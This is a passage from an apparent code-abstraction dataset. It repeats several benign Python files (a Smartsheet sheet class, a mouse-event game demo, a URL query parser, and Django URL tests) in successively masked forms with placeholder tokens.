install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n <docstring token>\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n <function token>\n <function token>\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n <function token>\n <function token>\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n <docstring token>\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n <function token>\n <function token>\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n <function token>\n <function token>\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n <function token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n <docstring token>\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n <function token>\n <function token>\n <function token>\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n <function token>\n <function token>\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n <function token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n <docstring token>\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n <function token>\n <function token>\n <function token>\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n <function token>\n <function token>\n <function token>\n <function token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n <docstring token>\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n<class token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n<class token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n <function token>\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n<class token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n <function token>\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n <function token>\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n<class token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n <function token>\n <function token>\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n <function token>\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n<class token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n<class token>\n<class token>\n" ]

[ "import bacon\n\nclass Game(bacon.Game):\n def on_tick(self):\n bacon.clear(0, 0, 0, 1)\n\n def on_mouse_button(self, button, pressed):\n print('bacon.MouseButtons.%s was %s' % (bacon.MouseButtons.tostring(button), 'pressed' if pressed else 'released'))\n\nbacon.run(Game())", "import bacon\n\n\nclass Game(bacon.Game):\n\n def on_tick(self):\n bacon.clear(0, 0, 0, 1)\n\n def on_mouse_button(self, button, pressed):\n print('bacon.MouseButtons.%s was %s' % (bacon.MouseButtons.tostring\n (button), 'pressed' if pressed else 'released'))\n\n\nbacon.run(Game())\n", "<import token>\n\n\nclass Game(bacon.Game):\n\n def on_tick(self):\n bacon.clear(0, 0, 0, 1)\n\n def on_mouse_button(self, button, pressed):\n print('bacon.MouseButtons.%s was %s' % (bacon.MouseButtons.tostring\n (button), 'pressed' if pressed else 'released'))\n\n\nbacon.run(Game())\n", "<import token>\n\n\nclass Game(bacon.Game):\n\n def on_tick(self):\n bacon.clear(0, 0, 0, 1)\n\n def on_mouse_button(self, button, pressed):\n print('bacon.MouseButtons.%s was %s' % (bacon.MouseButtons.tostring\n (button), 'pressed' if pressed else 'released'))\n\n\n<code token>\n", "<import token>\n\n\nclass Game(bacon.Game):\n\n def on_tick(self):\n bacon.clear(0, 0, 0, 1)\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass Game(bacon.Game):\n <function token>\n <function token>\n\n\n<code token>\n", "<import token>\n<class token>\n<code token>\n" ]

[ "#!/usr/bin/python\n\n# extract the function args from url query parameters to create function args itemset\n\nfrom urlparse import urlparse\nimport sys\n\ndef pathsplit(x): return x.split('/')\ndef argsplit(x): return x.split('=')\ndef argname(x): return len(x) == 2 and x[0] + \"= \" + x[1] + \"&\" or x[0] + \"=\"\ndef pathname(x): return x and x + \"/\"\n\nfor line in sys.stdin:\n url = urlparse(line.rstrip('\\n'))\n if url.scheme == \"http\":\n\tif url.query != \"\":\n print ' '.join(map (pathname, url.path.split(\"/\"))) + ' ' + ' '.join(map (argname, map(argsplit, url.query.split(\"&\"))))\n else:\n print ' '.join(map (pathname, url.path.split(\"/\")))\n\n" ]

[ "from django.urls import resolve, reverse\n\n\nclass TestUrls:\n\n def test_order_detail_url(self):\n path = reverse('order-detail', kwargs={'order_id': 15})\n assert resolve(path).view_name == 'order-detail'\n\n def test_home_url(self):\n path = reverse('coderslab-home')\n assert resolve(path).view_name == 'coderslab-home'\n\n def test_pipe_configurator_url(self):\n path = reverse('coderslab-pipe_configurator')\n assert resolve(path).view_name == 'coderslab-pipe_configurator'\n\n def test_login_url(self):\n path = reverse('login')\n assert resolve(path).view_name == 'login'\n\n def test_logout_url(self):\n path = reverse('logout')\n assert resolve(path).view_name == 'logout'\n\n def test_register_url(self):\n path = reverse('register')\n assert resolve(path).view_name == 'register'\n\n def test_rorder_list_url(self):\n path = reverse('order-list')\n assert resolve(path).view_name == 'order-list'\n", "<import token>\n\n\nclass TestUrls:\n\n def test_order_detail_url(self):\n path = reverse('order-detail', kwargs={'order_id': 15})\n assert resolve(path).view_name == 'order-detail'\n\n def test_home_url(self):\n path = reverse('coderslab-home')\n assert resolve(path).view_name == 'coderslab-home'\n\n def test_pipe_configurator_url(self):\n path = reverse('coderslab-pipe_configurator')\n assert resolve(path).view_name == 'coderslab-pipe_configurator'\n\n def test_login_url(self):\n path = reverse('login')\n assert resolve(path).view_name == 'login'\n\n def test_logout_url(self):\n path = reverse('logout')\n assert resolve(path).view_name == 'logout'\n\n def test_register_url(self):\n path = reverse('register')\n assert resolve(path).view_name == 'register'\n\n def test_rorder_list_url(self):\n path = reverse('order-list')\n assert resolve(path).view_name == 'order-list'\n", "<import token>\n\n\nclass TestUrls:\n\n def test_order_detail_url(self):\n path = reverse('order-detail', kwargs={'order_id': 15})\n assert resolve(path).view_name == 'order-detail'\n\n def test_home_url(self):\n path = reverse('coderslab-home')\n assert resolve(path).view_name == 'coderslab-home'\n\n def test_pipe_configurator_url(self):\n path = reverse('coderslab-pipe_configurator')\n assert resolve(path).view_name == 'coderslab-pipe_configurator'\n <function token>\n\n def test_logout_url(self):\n path = reverse('logout')\n assert resolve(path).view_name == 'logout'\n\n def test_register_url(self):\n path = reverse('register')\n assert resolve(path).view_name == 'register'\n\n def test_rorder_list_url(self):\n path = reverse('order-list')\n assert resolve(path).view_name == 'order-list'\n", "<import token>\n\n\nclass TestUrls:\n\n def test_order_detail_url(self):\n path = reverse('order-detail', kwargs={'order_id': 15})\n assert resolve(path).view_name == 'order-detail'\n\n def test_home_url(self):\n path = reverse('coderslab-home')\n assert resolve(path).view_name == 'coderslab-home'\n\n def test_pipe_configurator_url(self):\n path = reverse('coderslab-pipe_configurator')\n assert resolve(path).view_name == 'coderslab-pipe_configurator'\n <function token>\n <function token>\n\n def test_register_url(self):\n path = reverse('register')\n assert resolve(path).view_name == 'register'\n\n def test_rorder_list_url(self):\n path = reverse('order-list')\n assert resolve(path).view_name == 'order-list'\n", "<import token>\n\n\nclass TestUrls:\n\n def test_order_detail_url(self):\n path = reverse('order-detail', kwargs={'order_id': 15})\n assert resolve(path).view_name == 'order-detail'\n\n def test_home_url(self):\n path = reverse('coderslab-home')\n assert resolve(path).view_name == 'coderslab-home'\n\n def test_pipe_configurator_url(self):\n path = reverse('coderslab-pipe_configurator')\n assert resolve(path).view_name == 'coderslab-pipe_configurator'\n <function token>\n <function token>\n <function token>\n\n def 